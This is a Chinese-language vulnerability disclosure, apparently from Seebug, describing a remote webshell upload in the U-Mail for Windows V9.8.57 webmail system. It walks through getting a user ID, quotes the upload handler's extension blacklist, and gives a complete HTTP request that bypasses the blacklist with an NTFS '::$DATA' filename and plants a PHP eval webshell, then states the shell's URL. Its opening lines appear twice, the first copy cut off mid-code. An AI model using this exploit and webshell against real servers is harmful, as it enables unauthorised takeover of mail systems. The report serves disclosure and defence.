### 简要描述： U-mail邮件系统某处处理不当，导致getshell ### 详细说明： 版本：U-Mail for Windows V9.8.57 测试帐号：hello0001@fuck.com 测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置] 首先需要获取用户的UserID，因为其缓存目录路径为 umail\WorldClient\html\client\cache\{userid}\ 获取用户id的接口为 http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse= 1&keyword=hello0001 [<img src="https://images.seebug.org/upload/201412/06171405647f802c92eb91951c7305360cd68012.png" alt="a.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171405647f802c92eb91951c7305360cd68012.png) 得知userid为3 上传缺陷 漏洞文件，umail\WorldClient\html\client\mail\module\o_attach.php 代码 ``` if ( ACTION == "attach-upload-batch" && $_FILES ) { $file_name = $_FILES['Filedata']['name']; $file_type = $_FILES['Filedata']['type']; $file_size = $_FILES['Filedata']['size']; $file_source = $_FILES['Filedata']['tmp_name']; $path_target = getusercachepath( ); $not_allow_ext = array( "php",...
### 简要描述： U-mail邮件系统某处处理不当，导致getshell ### 详细说明： 版本：U-Mail for Windows V9.8.57 测试帐号：hello0001@fuck.com 测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置] 首先需要获取用户的UserID，因为其缓存目录路径为 umail\WorldClient\html\client\cache\{userid}\ 获取用户id的接口为 http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse= 1&keyword=hello0001 [<img src="https://images.seebug.org/upload/201412/06171405647f802c92eb91951c7305360cd68012.png" alt="a.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171405647f802c92eb91951c7305360cd68012.png) 得知userid为3 上传缺陷 漏洞文件，umail\WorldClient\html\client\mail\module\o_attach.php 代码 ``` if ( ACTION == "attach-upload-batch" && $_FILES ) { $file_name = $_FILES['Filedata']['name']; $file_type = $_FILES['Filedata']['type']; $file_size = $_FILES['Filedata']['size']; $file_source = $_FILES['Filedata']['tmp_name']; $path_target = getusercachepath( ); $not_allow_ext = array( "php", "phps", "php3", "exe", "bat" ); $res_data = array( ); foreach ( $file_source as $k => $v ) { $file_id = makerandomname( ); $file_suffix = getfilenamesuffix( $file_name[$k] ); if ( in_array( $file_suffix, $not_allow_ext ) ) { $res_data[] = array( "status" => "0", "message" => el( "不支持该扩展名文件上传", "" ), "filename" => $file_name[$k], "filesize" => $file_size[$k], "file_id" => $file_id ); } else { $file_target = $path_target.$file_id.".".$file_suffix; if ( !move_uploaded_file( $v, $file_target ) ) { $res_data[] = array( "status" => "0", "message" => el( "写入文件出错，请与管理员联系！", "" ), "filename" => $file_name[$k], "filesize" => $file_size[$k], "file_id" => $file_id ); } else { $res_data[] = array( "status" => "1", "filename" => trim( $file_name[$k] ), "filesize" => $file_size[$k], "file_id" => $file_id ); $_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name[$k], "type" => "1", "path" => $file_target, "size" => $file_size[$k] ); } } } dump_json( $res_data ); } ``` 之前版本允许传php文件，最新版采用了黑名单机制，不允许传php文件，无法绕过其后缀检测。但是利用NTFS的ADS特性，可以绕过其黑名单机制，如图 发送邮件，选择拖拽添加附件，burpsuite拦截包，修改文件名为s.php::$DATA即可绕过，如图 ``` POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1 Host: mail.fuck.com Proxy-Connection: keep-alive Content-Length: 233 Origin: http://mail.fuck.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAh Accept: */* Referer: http://mail.fuck.com/webmail/client/mail/index.php?module=view&action=mail-compose Accept-Encoding: gzip,deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff ------WebKitFormBoundary37jD3r27mTgTBrAh Content-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA" Content-Type: application/octet-stream <?php @eval($_POST['a']);?> ------WebKitFormBoundary37jD3r27mTgTBrAh-- ``` [<img src="https://images.seebug.org/upload/201412/06171602a27d022d91e685530ed808e45bab64bb.png" alt="b.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171602a27d022d91e685530ed808e45bab64bb.png) 则获得的webshell地址为 http://mail.fuck.com/webmail/client/cache/3/14178435495.php [<img src="https://images.seebug.org/upload/201412/06171654621ee8f2faee56b9816b76a29ad810f1.png" alt="c.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/06171654621ee8f2faee56b9816b76a29ad810f1.png) ### 漏洞证明： 如上
